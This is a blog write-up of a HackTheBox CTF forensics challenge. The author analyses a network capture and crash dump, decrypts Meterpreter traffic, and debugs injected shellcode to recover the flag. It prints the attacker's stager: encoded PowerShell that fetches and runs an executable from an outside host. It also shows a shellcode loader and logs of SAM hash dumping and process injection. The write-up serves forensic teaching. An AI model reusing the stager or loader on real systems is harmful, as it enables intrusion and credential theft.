Avatar

Smyler.net

Hacking, software development, networking and everything in between

Shadow of the Undead

CTF writeup: HackTheBox UniCTF 2023

2023/12/10

Hack The Box's University CTF is always an important moment at HackademINT, and at this point, dedicating a weekend to the forensics challenges is becoming a tradition for me. This year, I focused solely on the hardest one, Shadow of the Undead, leaving the easier ones to other team members with less experience. We cleared the forensics category in about 19 hours, and I went on to help with other categories.

Join me as I try to contain the spread of the dangerous biohazard waste on the Hackster University campus. We might even stumble on some Meterpreter shellcodes along the way...

HackademINT solved all three forensics challenges

Shadow of the Undead challenge

Biohazard? Where?

The challenge provides two files: a network capture and a crash-dump. The crash-dump is in the Mini DuMP format commonly found on Windows, so that gives us a first idea regarding the machine we will be investigating.

This is confirmed when looking at the strings in the dump (don't forget to extract UTF-16 strings with strings e -l on Windows machines).

Taking a look at the files on Linux

Network capture

Let's look at the PCAP. Wireshark's conversation tool is handy to get a first impression (in the statistics section). This way, we can immediately see that the PCAP only contains 4 TCP streams, the last one being the longest. We also notice the familiar green of HTTP requests in the first three streams, and take a look at the last one, which appears to be encrypted (right-click on a packet -> follow TCP stream). Finally, we export all HTTP objects from the stream (File -> Export objects -> HTTP).

Wireshark

Wireshark conversations menu

Wireshark HTTP filter

Wireshark encrypted TCP stream

HTTP files

It looks like 10.1.1.3 has been compromised, and we can already propose a theory of what happened.

  1. A runner.js file was sent from 10.1.1.1 to 10.1.1.3 and executed as a first stage.
  2. A second stage, st.exe was downloaded. Considering the name, the crashdump might be coming from this executable.
  3. A biohazard_containment_update.pdf PDF file was downloaded. This isn't used in any way later.
  4. The second stage started communicating with its control server in an encrypted connection.

runner.js

It is not always useful to look at the first stage when we already have the second one, but the file is short, so we might as well have a glance.

var sh = new ActiveXObject("WScript.Shell");
sh.Run(
  "powershell.exe -W Hidden -nop -ep bypass -NoExit -E JABuAGEAbQBlACAAPQAgACIAYgBpAG8AaABhAHoAYQByAGQAXwBjAG8AbgB0AGEAaQBuAG0AZQBuAHQAXwB1AHAAZABhAHQAZQAuAHAAZABmACIADQAKACQAcABhAHQAaAAgAD0AIAAiACQAZQBuAHYAOgBUAEUATQBQAFwAXAAkAG4AYQBtAGUAIgANAAoASQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAALQBVAFIASQAgACIAaAB0AHQAcAA6AC8ALwBzAHQAbwByAGEAZwBlAC4AbQBpAGMAcgBvAHMAbwBmAHQAYwBsAG8AdQBkAHMAZQByAHYAaQBjAGUAcwAuAGMAbwBtADoAOAA4ADEANwAvACQAbgBhAG0AZQAiACAALQBPAHUAdABGAGkAbABlACAAJABwAGEAdABoAA0ACgBTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAAJABwAGEAdABoAA=="
);
sh.Run(
  "powershell.exe -W Hidden -nop -ep bypass -NoExit -E aQB3AHIAIAAtAHUAcgBpACAAaAB0AHQAcAA6AC8ALwBzAHQAbwByAGEAZwBlAC4AbQBpAGMAcgBvAHMAbwBmAHQAYwBsAG8AdQBkAHMAZQByAHYAaQBjAGUAcwAuAGMAbwBtADoAOAA4ADEANwAvAHMAdAAuAGUAeABlACAALQBvAHUAdABmAGkAbABlACAAJABlAG4AdgA6AFQARQBNAFAAXABzAHQALgBlAHgAZQANAAoAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACQAZQBuAHYAOgBUAEUATQBQAFwAcwB0AC4AZQB4AGUAIAAtAFYAZQByAGIAIABSAHUAbgBBAHMA"
);

var js_file_path = WScript.ScriptFullName;
sh.Run("cmd.exe /c del " + js_file_path);

Nothing fancy, it executes two powershell payloads encoded as base64 and deletes itself. And it turns out all the payloads do is download the .exe and .pdf files, as expected. They can be decoded with CyberChef.

$name = "biohazard_containment_update.pdf"
$path = "$env:TEMP\\$name"
Invoke-WebRequest -URI "http://storage.microsoftcloudservices.com:8817/$name" -OutFile $path
Start-Process $path
iwr -uri http://storage.microsoftcloudservices.com:8817/st.exe -outfile $env:TEMP\st.exe
Start-Process $env:TEMP\st.exe -Verb RunAs

st.exe

VirusTotal has yet to let me down when it comes to identifying malicious executables (in some cases, it even does 99% of the challenge). Here, it quickly identifies a meterpreter reverse-shell from the Metasploit framework.

VirusTotal screenshot

Decrypting the meterpreter traffic

Meterpreter is open-source, and we are provided with a memory dump which may contain the encryption keys, so there are good chances we might be able to decrypt the traffic.

To do so, we will start by saving the meterpreter traffic to its own msf.pcap file for convenience. We can do so by setting the filter to tcp.stream == 3 to only render the TCP session from the malware and by then exporting the packets (Files -> Export Specified Packets).

When it comes to the decryption, the heavy lifting has already been done for us, and we can follow 0xdf's HTB: Response walkthrough. All credits go to him for the decryption script that follows, I merely adapted it. His writeup is a pretty good read.

#!/usr/bin/env python3

# Originally from https://gitlab.com/0xdf/ctfscripts/-/tree/master/htb-response
# You need to get msfconsts from there for it to work!

import uuid
from Crypto.Cipher import AES
from scapy.all import *
from msfconsts import tlv_types, cmd_ids

enc_types = {0: "None", 1: "AES256", 2: "AES128"}
packet_types = {0: "Req", 1: "Resp"}
aes_key = bytes.fromhex('06 57 1f fb 8b 42 b0 4b 30 c6 ba 58 29 f0 66 81 c2 89 bd bd 88 21 59 e3 d2 d3 19 7b dd 69 da 9e')
open('docs_backup.zip', 'w').close() # clear zip file


def xor(buf, key):
    return bytes([x ^ key[i % len(key)] for i, x in enumerate(buf)])


# pull all bytes into a stream
pcap = rdpcap("./msf.pcap")
stream = b"".join([bytes(packet[TCP].payload) for packet in pcap if TCP in packet])

i = 0
while i < len(stream):
    xor_head = stream[i:i+32]
    xor_key = xor_head[:4]
    head = xor(xor_head, xor_key)
    session_guid = head[4:20]
    enc_flag = int.from_bytes(head[20:24], "big")
    packet_len = int.from_bytes(head[24:28], "big")
    packet_type = int.from_bytes(head[28:32], "big")

    print(f"Packet: type={packet_types[packet_type]:<4} len={packet_len:<8} enc={enc_types[enc_flag]} sess={uuid.UUID(bytes=session_guid)}")

    tlv_data = xor(stream[i+32:i+packet_len+24], xor_key)
    if enc_flag == 1:
        aes_iv = tlv_data[:16]
        cipher = AES.new(aes_key, AES.MODE_CBC, iv=aes_iv)
        tlv_data = cipher.decrypt(tlv_data[16:])

    j = 0
    req_id = 0
    while j < len(tlv_data):
        l = int.from_bytes(tlv_data[j:j+4], 'big')
        if j + l > len(tlv_data) or l == 0:
            break
        t = int.from_bytes(tlv_data[j+4:j+8], 'big')
        v = tlv_data[j+8:j+l]
        if t == 0x20001: #COMMAND_ID
            v = cmd_ids[int.from_bytes(v[:4], 'big')]
        elif t == (1 << 16) | 2: # REQUEST_ID
            req_id = v[:-1].decode('ascii')
        if len(v) > 50:
            fname = f"large/{req_id}"
            with open(fname, 'wb') as f:
                f.write(v)
                print(f"Dumped {fname}")
            v = v[:50] + b"..."

        print(f"TLV l={l:<8} t={tlv_types.get(t, '?'):<26} v={v}")
        j += l
    
    i += 24 + packet_len

I used findaes to recover the encryption key from the memory dump.

Find AES screenshot

The complete output of the script is available here. What follows is a curated version with additional comments. Reading Metasploit's source code was necessary to really understand what was going on.

// Prelude: setup encryption and session UUID, enumerate available command
Packet: type=Req  len=363      enc=None sess=00000000-0000-0000-0000-000000000000
TLV l=12       t=TLV_TYPE_COMMAND_ID        v=CORE_NEGOTIATE_TLV_ENCRYPTION
TLV l=302      t=TLV_TYPE_RSA_PUB_KEY       v=b'0\x82\x01"0\r\x06\t*\x86H\x86\xf7\r\x01\x01\x01\x05\x00\x03\x82\x01\x0f\x000\x82\x01\n\x02\x82\x01\x01\x00\xe5h\x822\xcd\xccI\xab\x17\x9d\xea.\x8d\x06\x95\xe3\xac...'
Packet: type=Resp len=373      enc=None sess=00000000-0000-0000-0000-000000000000
TLV l=12       t=TLV_TYPE_COMMAND_ID        v=CORE_NEGOTIATE_TLV_ENCRYPTION
TLV l=264      t=TLV_TYPE_ENC_SYM_KEY       v=b'N\x16H\xa0\x8c\x83\xd8\x80<\x1c\xc5\xec\xdb\x01B\xa6z\xc6\xa3\xcd\x9b\xa2\xda\xe4a!\x98G\x87\xb7a\xf6ae\xca>\x05mZ3N\xc0\xae\xc8\xa3\xf9\x86,\xf8\xba...'
Packet: type=Req  len=104      enc=AES256 sess=00000000-0000-0000-0000-000000000000
TLV l=12       t=TLV_TYPE_COMMAND_ID        v=CORE_SET_SESSION_GUID
Packet: type=Resp len=120      enc=AES256 sess=cc0491ab-6453-45a2-94fd-565bcf82db43
TLV l=24       t=TLV_TYPE_UUID              v=b'A\x05462\xcb\xee\x80`wau\x05\x11\x0c\x03'
Packet: type=Req  len=104      enc=AES256 sess=cc0491ab-6453-45a2-94fd-565bcf82db43
TLV l=12       t=TLV_TYPE_COMMAND_ID        v=CORE_ENUMEXTCMD
Packet: type=Resp len=488      enc=AES256 sess=cc0491ab-6453-45a2-94fd-565bcf82db43
TLV l=12       t=TLV_TYPE_COMMAND_ID        v=CORE_ENUMEXTCMD
TLV l=12       t=TLV_TYPE_UINT              v=b'\x00\x00\x00\x11'  // These are meterpreter command IDs
TLV l=12       t=TLV_TYPE_UINT              v=b'\x00\x00\x00\x13'
TLV l=12       t=TLV_TYPE_UINT              v=b'\x00\x00\x00\x12'
...

// Load an extension
Packet: type=Req  len=185496   enc=AES256 sess=cc0491ab-6453-45a2-94fd-565bcf82db43
TLV l=12       t=TLV_TYPE_COMMAND_ID        v=CORE_LOADLIB
TLV l=26       t=TLV_TYPE_LIBRARY_PATH      v=b'ext370972.x64.dll\x00'
TLV l=31       t=TLV_TYPE_TARGET_PATH       v=b'/tmp/ext370972.x64.dll\x00'
Packet: type=Resp len=1480     enc=AES256 sess=cc0491ab-6453-45a2-94fd-565bcf82db43
TLV l=12       t=TLV_TYPE_COMMAND_ID        v=CORE_LOADLIB
TLV l=12       t=TLV_TYPE_UINT              v=b'\x00\x00\x04V'
TLV l=12       t=TLV_TYPE_UINT              v=b'\x00\x00\x04Z'
TLV l=12       t=TLV_TYPE_UINT              v=b'\x00\x00\x04W'
...

Packet: type=Req  len=88       enc=AES256 sess=cc0491ab-6453-45a2-94fd-565bcf82db43
TLV l=12       t=TLV_TYPE_COMMAND_ID        v=STDAPI_FS_GETWD
Packet: type=Resp len=136      enc=AES256 sess=cc0491ab-6453-45a2-94fd-565bcf82db43
TLV l=12       t=TLV_TYPE_COMMAND_ID        v=STDAPI_FS_GETWD
TLV l=16       t=TLV_TYPE_DIRECTORY_PATH    v=b'C:\\Temp\x00'

Packet: type=Req  len=88       enc=AES256 sess=cc0491ab-6453-45a2-94fd-565bcf82db43
TLV l=12       t=TLV_TYPE_COMMAND_ID        v=STDAPI_SYS_CONFIG_GETUID
Packet: type=Resp len=152      enc=AES256 sess=cc0491ab-6453-45a2-94fd-565bcf82db43
TLV l=12       t=TLV_TYPE_COMMAND_ID        v=STDAPI_SYS_CONFIG_GETUID
TLV l=34       t=TLV_TYPE_USER_NAME         v=b'WS01-HACKSTER\\HSTER-ADMIN\x00'

Packet: type=Req  len=88       enc=AES256 sess=cc0491ab-6453-45a2-94fd-565bcf82db43
TLV l=12       t=TLV_TYPE_COMMAND_ID        v=STDAPI_SYS_CONFIG_SYSINFO
Packet: type=Resp len=232      enc=AES256 sess=cc0491ab-6453-45a2-94fd-565bcf82db43
TLV l=12       t=TLV_TYPE_COMMAND_ID        v=STDAPI_SYS_CONFIG_SYSINFO
TLV l=22       t=TLV_TYPE_COMPUTER_NAME     v=b'WS01-HACKSTER\x00'
TLV l=39       t=TLV_TYPE_OS_NAME           v=b'Windows 10 (10.0 Build 19044).\x00'
TLV l=12       t=TLV_TYPE_ARCHITECTURE      v=b'x64\x00'
TLV l=14       t=?                          v=b'en_US\x00'
TLV l=18       t=?                          v=b'WORKGROUP\x00'
TLV l=12       t=?                          v=b'\x00\x00\x00\x02'
TLV l=12       t=TLV_TYPE_RESULT            v=b'\x00\x00\x00\x00'
TLV l=24       t=TLV_TYPE_UUID              v=b'A\x05462\xcb\xee\x80`wau\x05\x11\x0c\x03'

// Enumerates interfaces and routes

// Enumerate commands from an extension and loads one more
Packet: type=Req  len=104      enc=AES256 sess=cc0491ab-6453-45a2-94fd-565bcf82db43
TLV l=12       t=TLV_TYPE_COMMAND_ID        v=CORE_ENUMEXTCMD
Packet: type=Resp len=120      enc=AES256 sess=cc0491ab-6453-45a2-94fd-565bcf82db43
TLV l=12       t=TLV_TYPE_COMMAND_ID        v=CORE_ENUMEXTCMD
Packet: type=Req  len=70824    enc=AES256 sess=cc0491ab-6453-45a2-94fd-565bcf82db43
TLV l=12       t=TLV_TYPE_COMMAND_ID        v=CORE_LOADLIB
TLV l=26       t=TLV_TYPE_LIBRARY_PATH      v=b'ext718447.x64.dll\x00'
TLV l=31       t=TLV_TYPE_TARGET_PATH       v=b'/tmp/ext718447.x64.dll\x00'
Packet: type=Resp len=200      enc=AES256 sess=cc0491ab-6453-45a2-94fd-565bcf82db43
TLV l=12       t=TLV_TYPE_COMMAND_ID        v=CORE_LOADLIB
TLV l=12       t=TLV_TYPE_UINT              v=b'\x00\x00\x07\xd2'
TLV l=12       t=TLV_TYPE_UINT              v=b'\x00\x00\x07\xd3'
TLV l=12       t=TLV_TYPE_UINT              v=b'\x00\x00\x07\xd6'
...

// Gets system information again

// Escalates to NT Authority
Packet: type=Req  len=90760    enc=AES256 sess=cc0491ab-6453-45a2-94fd-565bcf82db43
TLV l=12       t=TLV_TYPE_COMMAND_ID        v=PRIV_ELEVATE_GETSYSTEM
TLV l=15       t=?                          v=b'rmnbsq\x00'
Dumped large/59420933201128270192671019416767
Packet: type=Resp len=136      enc=AES256 sess=cc0491ab-6453-45a2-94fd-565bcf82db43
TLV l=12       t=TLV_TYPE_COMMAND_ID        v=PRIV_ELEVATE_GETSYSTEM
Packet: type=Req  len=88       enc=AES256 sess=cc0491ab-6453-45a2-94fd-565bcf82db43
TLV l=12       t=TLV_TYPE_COMMAND_ID        v=STDAPI_FS_GETWD
Packet: type=Resp len=136      enc=AES256 sess=cc0491ab-6453-45a2-94fd-565bcf82db43
TLV l=12       t=TLV_TYPE_COMMAND_ID        v=STDAPI_FS_GETWD
TLV l=16       t=TLV_TYPE_DIRECTORY_PATH    v=b'C:\\Temp\x00'
Packet: type=Req  len=88       enc=AES256 sess=cc0491ab-6453-45a2-94fd-565bcf82db43
TLV l=12       t=TLV_TYPE_COMMAND_ID        v=STDAPI_SYS_CONFIG_GETUID
Packet: type=Resp len=152      enc=AES256 sess=cc0491ab-6453-45a2-94fd-565bcf82db43
TLV l=12       t=TLV_TYPE_COMMAND_ID        v=STDAPI_SYS_CONFIG_GETUID
TLV l=28       t=TLV_TYPE_USER_NAME         v=b'NT AUTHORITY\\SYSTEM\x00'
Packet: type=Req  len=88       enc=AES256 sess=cc0491ab-6453-45a2-94fd-565bcf82db43
TLV l=12       t=TLV_TYPE_COMMAND_ID        v=STDAPI_SYS_CONFIG_GETPRIVS
Packet: type=Resp len=904      enc=AES256 sess=cc0491ab-6453-45a2-94fd-565bcf82db43
TLV l=12       t=TLV_TYPE_COMMAND_ID        v=STDAPI_SYS_CONFIG_GETPRIVS
TLV l=26       t=?                          v=b'SeBackupPrivilege\x00'
TLV l=32       t=?                          v=b'SeChangeNotifyPrivilege\x00'
...

// Dumps password hashes
Packet: type=Req  len=88       enc=AES256 sess=cc0491ab-6453-45a2-94fd-565bcf82db43
TLV l=12       t=TLV_TYPE_COMMAND_ID        v=PRIV_PASSWD_GET_SAM_HASHES
Packet: type=Resp len=664      enc=AES256 sess=cc0491ab-6453-45a2-94fd-565bcf82db43
TLV l=12       t=TLV_TYPE_COMMAND_ID        v=PRIV_PASSWD_GET_SAM_HASHES
Dumped large/11832503645685158485056553046951
TLV l=536      t=?                          v=b'Administrator:500:aad3b435b51404eeaad3b435b51404ee...'
Packet: type=Req  len=104      enc=AES256 sess=cc0491ab-6453-45a2-94fd-565bcf82db43
TLV l=12       t=TLV_TYPE_COMMAND_ID        v=STDAPI_SYS_CONFIG_GETENV
TLV l=15       t=TLV_TYPE_ENV_VARIABLE      v=b'windir\x00'
Packet: type=Resp len=168      enc=AES256 sess=cc0491ab-6453-45a2-94fd-565bcf82db43
TLV l=12       t=TLV_TYPE_COMMAND_ID        v=STDAPI_SYS_CONFIG_GETENV
TLV l=42       t=TLV_TYPE_ENV_GROUP         v=b'\x00\x00\x00\x0f\x00\x01\x04Lwindir\x00\x00\x00\x00\x13\x00\x01\x04MC:\\Windows\x00'

// Start a new notepad process
Packet: type=Req  len=168      enc=AES256 sess=cc0491ab-6453-45a2-94fd-565bcf82db43
TLV l=12       t=TLV_TYPE_COMMAND_ID        v=STDAPI_SYS_PROCESS_EXECUTE
TLV l=40       t=TLV_TYPE_PROCESS_PATH      v=b'C:\\Windows\\System32\\notepad.exe\x00'
Packet: type=Resp len=152      enc=AES256 sess=cc0491ab-6453-45a2-94fd-565bcf82db43
TLV l=12       t=TLV_TYPE_COMMAND_ID        v=STDAPI_SYS_PROCESS_EXECUTE
TLV l=12       t=TLV_TYPE_PID               v=b'\x00\x00\x13\xf8'
TLV l=16       t=TLV_TYPE_PROCESS_HANDLE    v=b'\x00\x00\x00\x00\x00\x00\x03\xf4'

// Injects and starts a shellcode into the new process
Packet: type=Req  len=136      enc=AES256 sess=cc0491ab-6453-45a2-94fd-565bcf82db43
TLV l=12       t=TLV_TYPE_COMMAND_ID        v=STDAPI_SYS_PROCESS_MEMORY_ALLOCATE
TLV l=16       t=TLV_TYPE_HANDLE            v=b'\x00\x00\x00\x00\x00\x00\x03\xf4'
TLV l=12       t=TLV_TYPE_LENGTH            v=b'\x00\x00\x14\x00'
TLV l=12       t=TLV_TYPE_ALLOCATION_TYPE   v=b'\x00\x00\x10\x00'
TLV l=12       t=TLV_TYPE_PROTECTION        v=b'\x00\x00\x00@'
Packet: type=Resp len=136      enc=AES256 sess=cc0491ab-6453-45a2-94fd-565bcf82db43
TLV l=12       t=TLV_TYPE_COMMAND_ID        v=STDAPI_SYS_PROCESS_MEMORY_ALLOCATE
TLV l=16       t=TLV_TYPE_BASE_ADDRESS      v=b'\x00\x00\x01[\x1c\x84\x00\x00'
TLV l=12       t=TLV_TYPE_RESULT            v=b'\x00\x00\x00\x00'
Packet: type=Req  len=136      enc=AES256 sess=cc0491ab-6453-45a2-94fd-565bcf82db43
TLV l=12       t=TLV_TYPE_COMMAND_ID        v=STDAPI_SYS_PROCESS_MEMORY_PROTECT
TLV l=16       t=TLV_TYPE_HANDLE            v=b'\x00\x00\x00\x00\x00\x00\x03\xf4'
TLV l=16       t=TLV_TYPE_BASE_ADDRESS      v=b'\x00\x00\x01[\x1c\x84\x00\x00'
TLV l=12       t=TLV_TYPE_LENGTH            v=b'\x00\x00\x10\x00'
TLV l=12       t=TLV_TYPE_PROTECTION        v=b'\x00\x00\x00@'
Packet: type=Resp len=136      enc=AES256 sess=cc0491ab-6453-45a2-94fd-565bcf82db43
TLV l=12       t=TLV_TYPE_COMMAND_ID        v=STDAPI_SYS_PROCESS_MEMORY_PROTECT
TLV l=12       t=TLV_TYPE_PROTECTION        v=b'\x00\x00\x00@'
TLV l=12       t=TLV_TYPE_RESULT            v=b'\x00\x00\x00\x00'
Packet: type=Req  len=4728     enc=AES256 sess=cc0491ab-6453-45a2-94fd-565bcf82db43
TLV l=12       t=TLV_TYPE_COMMAND_ID        v=STDAPI_SYS_PROCESS_MEMORY_WRITE
TLV l=16       t=TLV_TYPE_HANDLE            v=b'\x00\x00\x00\x00\x00\x00\x03\xf4'
TLV l=16       t=TLV_TYPE_BASE_ADDRESS      v=b'\x00\x00\x01[\x1c\x84\x00\x00'
Dumped large/74813780799176563392143533557538
TLV l=4616     t=TLV_TYPE_PROCESS_MEMORY    v=b'VH\x8b\xf4H\x83\xe4\xf0H\x83\xec \xe8\x05\x00\x00\x00H\x8b\xe6^\xc3VWH\x81\xecH\x04\x00\x00H\x8d\x84$X\x02\x00\x00\xe8 \x00\x00\x00k\x00e\x00r\x00...'
Packet: type=Resp len=136      enc=AES256 sess=cc0491ab-6453-45a2-94fd-565bcf82db43
TLV l=12       t=TLV_TYPE_COMMAND_ID        v=STDAPI_SYS_PROCESS_MEMORY_WRITE
Packet: type=Req  len=152      enc=AES256 sess=cc0491ab-6453-45a2-94fd-565bcf82db43
TLV l=12       t=TLV_TYPE_COMMAND_ID        v=STDAPI_SYS_PROCESS_THREAD_CREATE
TLV l=16       t=TLV_TYPE_PROCESS_HANDLE    v=b'\x00\x00\x00\x00\x00\x00\x03\xf4'
TLV l=16       t=TLV_TYPE_ENTRY_POINT       v=b'\x00\x00\x01[\x1c\x84\x00\x00'
TLV l=16       t=TLV_TYPE_ENTRY_PARAMETER   v=b'\x00\x00\x00\x00\x00\x00\x00\x00'
TLV l=12       t=TLV_TYPE_CREATION_FLAGS    v=b'\x00\x00\x00\x00'
Packet: type=Resp len=152      enc=AES256 sess=cc0491ab-6453-45a2-94fd-565bcf82db43
TLV l=12       t=TLV_TYPE_COMMAND_ID        v=STDAPI_SYS_PROCESS_THREAD_CREATE
TLV l=12       t=TLV_TYPE_THREAD_ID         v=b'\x00\x00\x16\xa4'
TLV l=16       t=TLV_TYPE_THREAD_HANDLE     v=b'\x00\x00\x00\x00\x00\x00\x01\xbc'

Here is a summary of the information relevant to the end of the challenge:

  1. A Meterpreter session is started as WS01-HACKSTER\HSTER-ADMIN.
  2. It escalates to NT AUTHORITY\SYSTEM using its admin privileges.
  3. It starts a notepad.exe process.
  4. It injects a shellcode into that new process.

Static shellcode analysis

Since we still don't have the flag, it looks like we will have to dig a bit deeper into that shellcode...

Looking at it in Radare2, it seems to contain a few fonctions, one of which is xoring every second byte of two of its arguments of length 0x3c (60). That could be our flag, but how do we get there?

Function list in Radare 2 Xor in Radare 2

The rest of the shellcode is a lot less readable, but we can still notice a few interesting sections:

Loading a SAM\SAM\Domains\Account\Users\Names\biohazard_mgmt_guest onto the stack

R2 Screenshot

This is a registry key corresponding to the biohazard_mgmt_guest Windows user. The shellcode is probably doing something with it. However, it is important to note that the SAM registry hive is only accessible to NT Authority, so it will only be accessible if the process has the highest privileges possible and if that user exists.

Names of WinAPI functions

Strings screenshot

Dynamic shellcode analysis

At this point, I decided to go dynamic to hopefully work around the complexity of the shellcode. Let's open a Windows VM and write a shellcode loader in Visual Studio (don't mind the memory leak, it's a CTF after all...).

#include <windows.h>
#include <iostream>
using namespace std;

LPVOID readShellcode(LPCSTR filename, PDWORD fsize) {
	HANDLE hFile = CreateFileA(filename, GENERIC_READ, NULL, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);

	*fsize = GetFileSize(hFile, NULL);
	LPVOID buffer = VirtualAlloc(NULL, *fsize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
	if (buffer == NULL) {
		return NULL;
	}

	DWORD read;
	if (!ReadFile(hFile, buffer, *fsize, &read, NULL)) {
		CloseHandle(hFile);
		return NULL;
	}

	CloseHandle(hFile);
	return buffer;
}

void execShellcode(LPVOID shellcode, DWORD size) {
	LPVOID buffer = VirtualAlloc(NULL, size, (MEM_COMMIT | MEM_RESERVE), PAGE_EXECUTE_READWRITE);
	if (buffer == NULL) {
		cout << "VirtualAlloc failed" << endl;
		return;
	}
	CopyMemory(buffer, shellcode, size);
	HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)buffer, NULL, NULL, 0);
	if (hThread == NULL) {
		cout << "Thread is null";
		return;
	}
}

int main(void) {
	DWORD pid = 12276;
	DWORD size;
	LPVOID shellcode = readShellcode("C:\\Users\\Smyler\\Desktop\\74813780799176563392143533557538.injected", &size);
	if (shellcode == NULL) {
		cout << "Failed to read shellcode" << endl;
		return 1;
	}
	execShellcode(shellcode, size);
	Sleep(10000000);
}

Running the shellcode and observing the process with Process Monitor, we see the new thread exits after failing to read HKLM\SAM\SAM\Domains\Account\Users\Names\biohazard_mgmt_guest, so it looks like the registry key is either used as a check, or necessary for the shellcode to operate. Now, we could try to replicate the expected environment by creating the user and executing the shellcode as NT Authority, but there might be additional checks after that, and we might be better off bypassing everything at runtime.

Process Monitor screenshot

So, let's open the binary in x64dbg and set a breakpoint right before the shellcode's thread is started (we just have to find our execShellcode function in the symbole tab, and find the call to CreateThread in the disassembly view). Now, we want to set a breakpoint to the start of the shellcode, and that's not as easy since we don't know where it has been loaded. We could edit the loader to print the address, but another solution is to look for an unknown memory section with execute-read-write permissions. It turns out there is only one, and looking at it in the disassembly view, it has the start of the shellcode.

Breakpoint on shellcode thread start

Breakpoint on shellcode start

Breakpoint on shellcode start

We can debug the shellcode this way, but unless we want to be here all day long clicking on the next instruction button, we need to be smarter to find the interesting instructions. We know the shellcode terminates right after trying to read a registry key, so we will try to find where exactly that happens.

On key difference between Linux and Windows is that Windows system call numbers can change from one version to another. This is a problem for Windows shellcodes, as they cannot rely on syscalls to call the Kernel, so they have to rely on the standard library instead. Except with ASLR they neither know where the win api functions are in memory nor where they are loaded themselves. One workaround is to find the kernel32.dll PE header in memory, then parse it to get its name pointer table and loop through that to get the address functions. Read more on idafchev's blog.

Stepping through the start of the shellcode, it appears to be doing exactly that to get the address of GetProcAddress. That function is a gold mine for a shellcode, as it can be used to get the address of any function at runtime.

We can indeed set a breakpoint in GetProcAddress, wait for it to be called with an interesting function (in my case RegGetValueA), return from it and see where we end up in the shellcode.

On the following screenshot, we can see that the address of GetProcAddress is stored on the stack at [rsp+B0]. It gets called to retrieve the addresses of various functions, which in turn are stored on the stack. We can take note of where in the stack they are stored for later.

GetProcAddress called in x64dbg

Function Address
GetProcAddress [rsp+B0]
WinExec [rsp+168]
lstrcat [rsp+170]
RegGetValueA [rsp+118]
RegSetKeyValueA [rsp+150]
RegOpenKeyExA [rsp+140]

Knowing this, we can look for calls to RegGetValueA where the shellcode would be trying to read HKLM\SAM\SAM\Domains\Account\Users\Names\biohazard_mgmt_guest, and set breakpoints at the corresponding addresses (0x00000aac and 0x00000b48, plus the base address of the shellcode).

Listing calls to addresses on the stack with Radare 2

Then, we step over the call to RegGetValueA and change the return value in rax to 0, avoiding the jump that would have been normally taken after the function fails. We repeat the same trick for the second call, and keep stepping until RegSetValueA is called, and we yet again change the return value to 0.

Changing return values in x64dbg

Then, we keep stepping until call 18EB1860C4F, which we recognize as a call to the xoring function. We can step inside and watch the loop decrypt the flag...

Calling xoring function in x64dbg

The flag

HTB{cust0m_S3rum-XY_sh3llc0de_4g41nst_H4ckst3r_Un1v3rs1ty!}

There are of course different ways to reach the flag, and probably easier, faster ones, but this was overall my thought process when solving the challenge.

You can read the official writeup by c4n0pus (the challenge author) to learn more. They used emulation to get the flag from the shellcode.

Related resources:

More articles